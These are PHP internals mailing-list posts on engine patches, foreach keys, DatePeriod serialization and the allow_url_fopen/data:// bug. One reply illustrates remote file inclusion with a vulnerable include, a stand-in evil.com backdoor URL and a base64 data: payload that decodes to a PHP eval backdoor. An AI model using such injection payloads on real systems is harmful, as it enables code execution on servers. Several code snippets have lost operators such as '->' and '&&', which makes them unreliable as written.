[PHP-DEV] Re: disable zend_always_inline in debug mode
You can do it.
Thanks. Dmitry.
On Fri, Mar 8, 2013 at 7:27 PM, Laruence larue...@php.net wrote:
Hey:
I propose to disable zend_alwasy_inline while build PHP in debug mode.
that could be easier for debuging some bugs..
what do you think?
thanks
simple patch:
diff --git a/Zend/zend.h b/Zend/zend.h
index 40515fb..03bd4e7 100644
--- a/Zend/zend.h
+++ b/Zend/zend.h
@@ -365,7 +365,7 @@ struct _zval_struct {
#define Z_UNSET_ISREF(z) Z_UNSET_ISREF_P((z))
#define Z_SET_ISREF_TO(z, isref) Z_SET_ISREF_TO_P((z), isref)
-#if defined(__GNUC__)
+#if defined(__GNUC__) !ZEND_DEBUG
#if __GNUC__ = 3
#define zend_always_inline inline __attribute__((always_inline))
#define zend_never_inline __attribute__((noinline))
@@ -374,7 +374,7 @@ struct _zval_struct {
#define zend_never_inline
#endif
-#elif defined(_MSC_VER)
+#elif defined(_MSC_VER) !ZEND_DEBUG
#define zend_always_inline __forceinline
#define zend_never_inline
#else
--
Laruence Xinchen Hui
http://www.laruence.com/
Re: [PHP-DEV] Re: [VOTE] Allow non-scalar keys in foreach
Hi Nikita, Thanks. I'll review it today. Dmitry. On Sun, Mar 10, 2013 at 1:47 AM, Nikita Popov nikita@gmail.com wrote: On Wed, Mar 6, 2013 at 6:28 PM, Dmitry Stogov dmi...@zend.com wrote: I wonder what would be a good way to avoid allocating a temporary zval for the key and freeing it again. Do you think it would be okay to pass EX_T((opline+1)-result.var).tmp_var into -get_current_key() so the value can be written directly into it without doing extra allocs/frees? I'm not sure it'll work. TMP_VARs don't initialize refcount, they can't be referenced or marked as a possible root of garbage. I took only a very quick look over the patch and didn't understand all the details, but probably it must be possible to copy iterator key into TMP_VAR and call copy_ctor(). Please, let me review the patch when it's ready (I won't be available on March 8 and weekend). Thanks. Dmitry. Here is the new patch: https://github.com/nikic/php-src/commit/a1bfc8105713eeb4e66e852b81884b567ad56020 It passes in the tmp_var in as a zval*, which can then be set using the ZVAL_* macros (basically the same way as it's done with return_value). This way we don't need any further zval allocs and frees. It also turned out that doing it this way is more convenient to use in the respective key handlers. Nikita
Re: [PHP-DEV] Re: [VOTE] Allow non-scalar keys in foreach
Hi Nikita, The patch looks good. I have just few comments - In ZEND_FE_FETCH handler PLAIN_OBJECT may have only STRING keys. I didn't get why you added unreachable code for INT and NULL. - At first, I fought, that it might be a good idea to change zend_user_it_get_current_key() to return SUCCESS/FAILURE instead of returning IS_NULL that has a special meaning. But after looking into the FE_FETCH code before the commit I understood where this NULL came from. I know that NULL key may not appear for plain array and objects but I'm not sure about iterators and generators. Now IS_NULL keys may mean that iterator returned it directly IS_NULL or may be it was returned because of some error conditions. Probably it's not a problem. What do you think? I personally, irrelevant to this patch. I didn't found serious technical issues, so I think it may be accepted. Thanks. Dmitry. On Mon, Mar 11, 2013 at 10:35 AM, Dmitry Stogov dmi...@zend.com wrote: Hi Nikita, Thanks. I'll review it today. Dmitry. On Sun, Mar 10, 2013 at 1:47 AM, Nikita Popov nikita@gmail.comwrote: On Wed, Mar 6, 2013 at 6:28 PM, Dmitry Stogov dmi...@zend.com wrote: I wonder what would be a good way to avoid allocating a temporary zval for the key and freeing it again. Do you think it would be okay to pass EX_T((opline+1)-result.var).tmp_var into -get_current_key() so the value can be written directly into it without doing extra allocs/frees? I'm not sure it'll work. TMP_VARs don't initialize refcount, they can't be referenced or marked as a possible root of garbage. I took only a very quick look over the patch and didn't understand all the details, but probably it must be possible to copy iterator key into TMP_VAR and call copy_ctor(). Please, let me review the patch when it's ready (I won't be available on March 8 and weekend). Thanks. Dmitry. Here is the new patch: https://github.com/nikic/php-src/commit/a1bfc8105713eeb4e66e852b81884b567ad56020 It passes in the tmp_var in as a zval*, which can then be set using the ZVAL_* macros (basically the same way as it's done with return_value). This way we don't need any further zval allocs and frees. It also turned out that doing it this way is more convenient to use in the respective key handlers. Nikita
Re: [PHP-DEV] Fix for bug #63437
libgmp was just the first shot as it has functions to convert from arbitrary binary data to string and vice versa, mpz_import and mpz_export. That's what should work fine across platforms. Looking at the type definitions here http://lxr.php.net/xref/PHP_5_5/ext/date/lib/timelib_structs.h#70 i wouldn't exclude possible platform issues. Implementing that manually is a tricky job, could be done probably with more homework :) What is the way you had in the mind to achieve the string-integer conversions? Regards Anatol On Sun, March 10, 2013 23:11, Derick Rethans wrote: On Sat, 9 Mar 2013, Anatol Belski wrote: On Sat, 2013-03-09 at 21:57 +0100, Gustavo Lopes wrote: On Sat, 09 Mar 2013 21:36:41 +0100, Derick Rethans der...@php.net wrote: On Tue, 5 Mar 2013, Anatol Belski wrote: I've reworked the patch from http://nebm.ist.utl.pt/~glopes/misc/date_period_interval_ser.diff (mentioned by tony2001) for bug #63437, that seems to fix the issue. That patch was ported back to 5.3 and adapted to the current 5.4+. Both variants are posted to the ticket. Serializing this as a base64 encoded variant of some binary data is not a good thing. If you want to serialize, it needs to output the same thigns that allow users to create the period or interval. I would agree in principle, but, as I explained before, there is a problem. The DatePeriod class has 64-bit integers in its internal structure. The PHP integer type cannot (in general) represent that data. So the general method of getting the object data via get_properties and serializing (and then using __set_state to convert the array back) does not work unless you represent those 64-bit integers with some non-integer type and do the conversions. So base64 seems to be only the doubtful point. Thriving to fix that, what if we could bring it in dependency of libgmp to serialize and read as strings (and maybe disable serialization otherwise)? Why do you need libgmp for that‽ cheers, Derick -- PHP Internals - PHP Runtime Development Mailing List To unsubscribe, visit: http://www.php.net/unsub.php
[PHP-DEV] data stream restricted by allow_url_fopen (Bug #47336)
Dear PHP developers, I have run into a bug, which is open since 2009. It would be nice if you could look at https://bugs.php.net/bug.php?id=47336 It has been marked as “documentation problem”. But in my opinion the implementation should follow the documentation and allow fopen “data://” streams even if “allow_url_fopen” is set to “false”. Because it is not like opening a maybe manipulated URL. It would be really nice if this bug could be fixed, soon. Thanks in advance. Christian Stoller
Re: [PHP-DEV] data stream restricted by allow_url_fopen (Bug #47336)
Hi! I have run into a bug, which is open since 2009. It would be nice if you could look at https://bugs.php.net/bug.php?id=47336 It has been marked as “documentation problem”. But in my opinion the implementation should follow the documentation and allow fopen “data://” streams even if “allow_url_fopen” is set to “false”. Because it is not like opening a maybe manipulated URL. It would be really nice if this bug could be fixed, soon. I'm afraid it is not a good idea. allow_url_fopen is meant to protect file functions (fopen and friends) from being injected with user-controlled data - i.e. if you control the filesystem and you do fopen() under allow_url_fopen then it is reasonable to assume the data under that filename is under your control. However, data:// URLs clearly violate this assumption no less than http:// URLs do - data: just does it without even requiring a web server. -- Stanislav Malyshev, Software Architect SugarCRM: http://www.sugarcrm.com/ (408)454-6900 ext. 227 -- PHP Internals - PHP Runtime Development Mailing List To unsubscribe, visit: http://www.php.net/unsub.php
[PHP-DEV] Double-Colon Always Follows the 'parent' Keyword?
Hello everyone, I have a question about the internals of PHP, but this is not about advancing the development of the language, so I apologize if this is on the wrong list. I am choosing to post to this list because I believe the people here are most qualified to answer my question. This is what I want to know: Is there any valid situation in PHP where the ‘parent’ keyword is not followed by the scope-resolution operator? I am asking to help me decide on the best way to fix a bug for php-mode[1] for GNU Emacs. Consider these three lines: echo $parent; echo parent::$foo; echo $this-parent; Emacs correctly highlights the first ‘parent’ as a variable name. It also highlights ‘parent’ in the second line as a keyword, as it should. But in the third line it treats ‘parent’ as a keyword instead of a variable and applies the wrong syntax formatting. My idea to fix this problem is to only treat ‘parent’ as a keyword if the scope-resolution operator immediately follows it. But before doing that I want to know whether or not that is true. So is there are valid situation where the keyword ‘parent’ does not have ‘::’ after it? Thank you in advanced for any advice and help. [1]: https://github.com/ejmr/php-mode -- ejmr 南無妙法蓮華經 -- PHP Internals - PHP Runtime Development Mailing List To unsubscribe, visit: http://www.php.net/unsub.php
RE: [PHP-DEV] data stream restricted by allow_url_fopen (Bug #47336)
Hi Stas. I'm afraid it is not a good idea. allow_url_fopen is meant to protect file functions (fopen and friends) from being injected with user-controlled data - i.e. if you control the filesystem and you do fopen() under allow_url_fopen then it is reasonable to assume the data under that filename is under your control. However, data:// URLs clearly violate this assumption no less than http:// URLs do - data: just does it without even requiring a web server. I am unsure whether I understand you. As far as I know with the data:// stream PHP does not access any file on the filesystem. It's just for transforming normal content in a variable to a resource, or not? So I do not see any risk. Maybe you can give me an example.
Re: [PHP-DEV] Fix for bug #63437
Please, no top posting! On Mon, 11 Mar 2013, Anatol Belski wrote: On Sun, March 10, 2013 23:11, Derick Rethans wrote: On Sat, 9 Mar 2013, Anatol Belski wrote: On Sat, 2013-03-09 at 21:57 +0100, Gustavo Lopes wrote: I would agree in principle, but, as I explained before, there is a problem. The DatePeriod class has 64-bit integers in its internal structure. The PHP integer type cannot (in general) represent that data. So the general method of getting the object data via get_properties and serializing (and then using __set_state to convert the array back) does not work unless you represent those 64-bit integers with some non-integer type and do the conversions. So base64 seems to be only the doubtful point. Thriving to fix that, what if we could bring it in dependency of libgmp to serialize and read as strings (and maybe disable serialization otherwise)? Why do you need libgmp for that‽ libgmp was just the first shot as it has functions to convert from arbitrary binary data to string and vice versa, mpz_import and mpz_export. That's what should work fine across platforms. Looking at the type definitions here http://lxr.php.net/xref/PHP_5_5/ext/date/lib/timelib_structs.h#70 i wouldn't exclude possible platform issues. Implementing that manually is a tricky job, could be done probably with more homework :) What is the way you had in the mind to achieve the string-integer conversions? atoll() (or atoq()). cheers, Derick -- PHP Internals - PHP Runtime Development Mailing List To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] Double-Colon Always Follows the 'parent' Keyword?
On 11/03/13 12:19, Eric James Michael Ritz wrote: Hello everyone, I have a question about the internals of PHP, but this is not about advancing the development of the language, so I apologize if this is on the wrong list. I am choosing to post to this list because I believe the people here are most qualified to answer my question. This is what I want to know: Is there any valid situation in PHP where the ‘parent’ keyword is not followed by the scope-resolution operator? I am asking to help me decide on the best way to fix a bug for php-mode[1] for GNU Emacs. Consider these three lines: echo $parent; echo parent::$foo; echo $this-parent; Emacs correctly highlights the first ‘parent’ as a variable name. It also highlights ‘parent’ in the second line as a keyword, as it should. But in the third line it treats ‘parent’ as a keyword instead of a variable and applies the wrong syntax formatting. My idea to fix this problem is to only treat ‘parent’ as a keyword if the scope-resolution operator immediately follows it. But before doing that I want to know whether or not that is true. So is there are valid situation where the keyword ‘parent’ does not have ‘::’ after it? Thank you in advanced for any advice and help. Hello Eric Wouldn't it be simpler to check that parent if preceded by whitespace/brackets? Checking if it's followed by the paamayim nekudotayim, seems also ok. -- PHP Internals - PHP Runtime Development Mailing List To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] data stream restricted by allow_url_fopen (Bug #47336)
On 11/03/13 12:36, Christian Stoller wrote: Hi Stas. I'm afraid it is not a good idea. allow_url_fopen is meant to protect file functions (fopen and friends) from being injected with user-controlled data - i.e. if you control the filesystem and you do fopen() under allow_url_fopen then it is reasonable to assume the data under that filename is under your control. However, data:// URLs clearly violate this assumption no less than http:// URLs do - data: just does it without even requiring a web server. I am unsure whether I understand you. As far as I know with the data:// stream PHP does not access any file on the filesystem. It's just for transforming normal content in a variable to a resource, or not? So I do not see any risk. Maybe you can give me an example. Suppose you had the silly script: ?php $file = $_GET['file']; include $file . .php; As there's no check at all to $file, an attacker could pass in the url file=http://evil.com/backdoor-code and php would happily run the php code located at http://evil.com/backdoor-code.php If include of data urls is enabled, the attacker could do the same with file=data:image/png;base64,PD9waHAgZXZhbCgkX0dFVFsiY29kZSJdKTsgPz4K -- PHP Internals - PHP Runtime Development Mailing List To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] Double-Colon Always Follows the 'parent' Keyword?
On 03/11/2013 08:19 AM, Ángel González wrote: On 11/03/13 12:19, Eric James Michael Ritz wrote: [...] This is what I want to know: Is there any valid situation in PHP where the ‘parent’ keyword is not followed by the scope-resolution operator? I am asking to help me decide on the best way to fix a bug for php-mode[1] for GNU Emacs. Consider these three lines: echo $parent; echo parent::$foo; echo $this-parent; [...] My idea to fix this problem is to only treat ‘parent’ as a keyword if the scope-resolution operator immediately follows it. But before doing that I want to know whether or not that is true. So is there are valid situation where the keyword ‘parent’ does not have ‘::’ after it? Hello Eric Wouldn't it be simpler to check that parent if preceded by whitespace/brackets? Checking if it's followed by the paamayim nekudotayim, seems also ok. Thanks for the idea. Checking for brackets would work but not whitespace since PHP allows programmers to write code such as echo $this- parent;// Same as $this-parent So perhaps checking for paamayim nekudotayim would be best. -- ejmr 南無妙法蓮華經 -- PHP Internals - PHP Runtime Development Mailing List To unsubscribe, visit: http://www.php.net/unsub.php
RE: [PHP-DEV] data stream restricted by allow_url_fopen (Bug #47336)
If include of data urls is enabled, the attacker could do the same with file=data:image/png;base64,PD9waHAgZXZhbCgkX0dFVFsiY29kZSJdKTsgPz4K Okay, I got it ;-) So it would be nice if someone could update the documentation and set the bug to resolved Thanks for your help.
Re: [PHP-DEV] Double-Colon Always Follows the 'parent' Keyword?
Hi Den 11/03/2013 kl. 13.55 skrev Eric James Michael Ritz lobbyjo...@gmail.com: Thanks for the idea. Checking for brackets would work but not whitespace since PHP allows programmers to write code such as echo $this- parent;// Same as $this- Technically parent and self is not keywords, they are implemented as T_STRING. These are only used as keywords when the next non whitespace token is a double colon, like: self::$property-... So I would continue reading until the next token and decide from there if its used in a keyword-context or not to decide its syntax highlight color. -K -- PHP Internals - PHP Runtime Development Mailing List To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] Double-Colon Always Follows the 'parent' Keyword?
On Mon, Mar 11, 2013 at 12:19 PM, Eric James Michael Ritz lobbyjo...@gmail.com wrote: Hello everyone, I have a question about the internals of PHP, but this is not about advancing the development of the language, so I apologize if this is on the wrong list. I am choosing to post to this list because I believe the people here are most qualified to answer my question. This is what I want to know: Is there any valid situation in PHP where the ‘parent’ keyword is not followed by the scope-resolution operator? I am asking to help me decide on the best way to fix a bug for php-mode[1] for GNU Emacs. Consider these three lines: echo $parent; echo parent::$foo; echo $this-parent; Emacs correctly highlights the first ‘parent’ as a variable name. It also highlights ‘parent’ in the second line as a keyword, as it should. But in the third line it treats ‘parent’ as a keyword instead of a variable and applies the wrong syntax formatting. My idea to fix this problem is to only treat ‘parent’ as a keyword if the scope-resolution operator immediately follows it. But before doing that I want to know whether or not that is true. So is there are valid situation where the keyword ‘parent’ does not have ‘::’ after it? Thank you in advanced for any advice and help. parent and self are not keywords, they are just special class names. Apart from that they can be freely used, e.g. you could also have a constant called parent. The special meaning exists in (nearly) any classname context. parent::$foo is just one case. It's just as special if you do new parent() or something like that ;) So I don't think it makes sense to highlight only when followed by :: Nikita
Re: [PHP-DEV] Re: [VOTE] Allow non-scalar keys in foreach
On Mon, Mar 11, 2013 at 9:50 AM, Dmitry Stogov dmi...@zend.com wrote:
Hi Nikita,
The patch looks good. I have just few comments
- In ZEND_FE_FETCH handler PLAIN_OBJECT may have only STRING keys. I
didn't get why you added unreachable code for INT and NULL.
You are right about the NULL case, that can indeed not occur. But INT is
possible, e.g. consider this:
?php
foreach ((object) ['x','y','z'] as $k = $v) {
var_dump($k);
}
this will give you keys int(0), int(1), int(2).
I'll remove the check for NULL.
- At first, I fought, that it might be a good idea to change
zend_user_it_get_current_key() to return SUCCESS/FAILURE instead of
returning IS_NULL that has a special meaning. But after looking into the
FE_FETCH code before the commit I understood where this NULL came from. I
know that NULL key may not appear for plain array and objects but I'm not
sure about iterators and generators. Now IS_NULL keys may mean that
iterator returned it directly IS_NULL or may be it was returned because of
some error conditions. Probably it's not a problem. What do you think?
In foreach IS_NULL can't occur in an error condition, because the loop is
already aborted when get_current_data provides NULL. IS_NULL can only
happen when its explicitly provided (or handlers are incorrectly coded). I
think the IS_NULL fallback is mainly important when the iterator is used
for other things (like a dual it), to be sure that it'll always work. I
don't think that it's important to distinguish between explicit NULL and
failure NULL.
I have one more question: Right now I added the
zend_hash_get_current_key_zval API in zend_hash.c/h, which is a bit ugly
because it has a zval dependency (unlike all the other code in there) and
requires me to forward-declare the zval struct. Would it be better to move
this somewhere else, e.g. zend_API.c/h? If so, can I still keep the same
name (with the zend_hash_ prefix)? If I move it to zend_API, I won't be
able to do the IS_CONSISTENT check anymore, is that a problem?
Thanks,
Nikita
Re: [PHP-DEV] Re: [VOTE] Allow non-scalar keys in foreach
On Mon, Mar 11, 2013 at 10:27 PM, Nikita Popov nikita@gmail.com wrote:
On Mon, Mar 11, 2013 at 9:50 AM, Dmitry Stogov dmi...@zend.com wrote:
Hi Nikita,
The patch looks good. I have just few comments
- In ZEND_FE_FETCH handler PLAIN_OBJECT may have only STRING keys. I
didn't get why you added unreachable code for INT and NULL.
You are right about the NULL case, that can indeed not occur. But INT is
possible, e.g. consider this:
?php
foreach ((object) ['x','y','z'] as $k = $v) {
var_dump($k);
}
this will give you keys int(0), int(1), int(2).
Agree. I missed it.
I'll remove the check for NULL.
- At first, I fought, that it might be a good idea to change
zend_user_it_get_current_key() to return SUCCESS/FAILURE instead of
returning IS_NULL that has a special meaning. But after looking into the
FE_FETCH code before the commit I understood where this NULL came from. I
know that NULL key may not appear for plain array and objects but I'm not
sure about iterators and generators. Now IS_NULL keys may mean that
iterator returned it directly IS_NULL or may be it was returned because of
some error conditions. Probably it's not a problem. What do you think?
In foreach IS_NULL can't occur in an error condition, because the loop is
already aborted when get_current_data provides NULL. IS_NULL can only
happen when its explicitly provided (or handlers are incorrectly coded). I
think the IS_NULL fallback is mainly important when the iterator is used
for other things (like a dual it), to be sure that it'll always work. I
don't think that it's important to distinguish between explicit NULL and
failure NULL.
Agree as well.
I have one more question: Right now I added the
zend_hash_get_current_key_zval API in zend_hash.c/h, which is a bit ugly
because it has a zval dependency (unlike all the other code in there) and
requires me to forward-declare the zval struct. Would it be better to move
this somewhere else, e.g. zend_API.c/h? If so, can I still keep the same
name (with the zend_hash_ prefix)? If I move it to zend_API, I won't be
able to do the IS_CONSISTENT check anymore, is that a problem?
I think we can move zval forward declaration (typedef struct _zval_struct
zval;) from zend.h into zend_type.h.
Thanks. Dmitry.
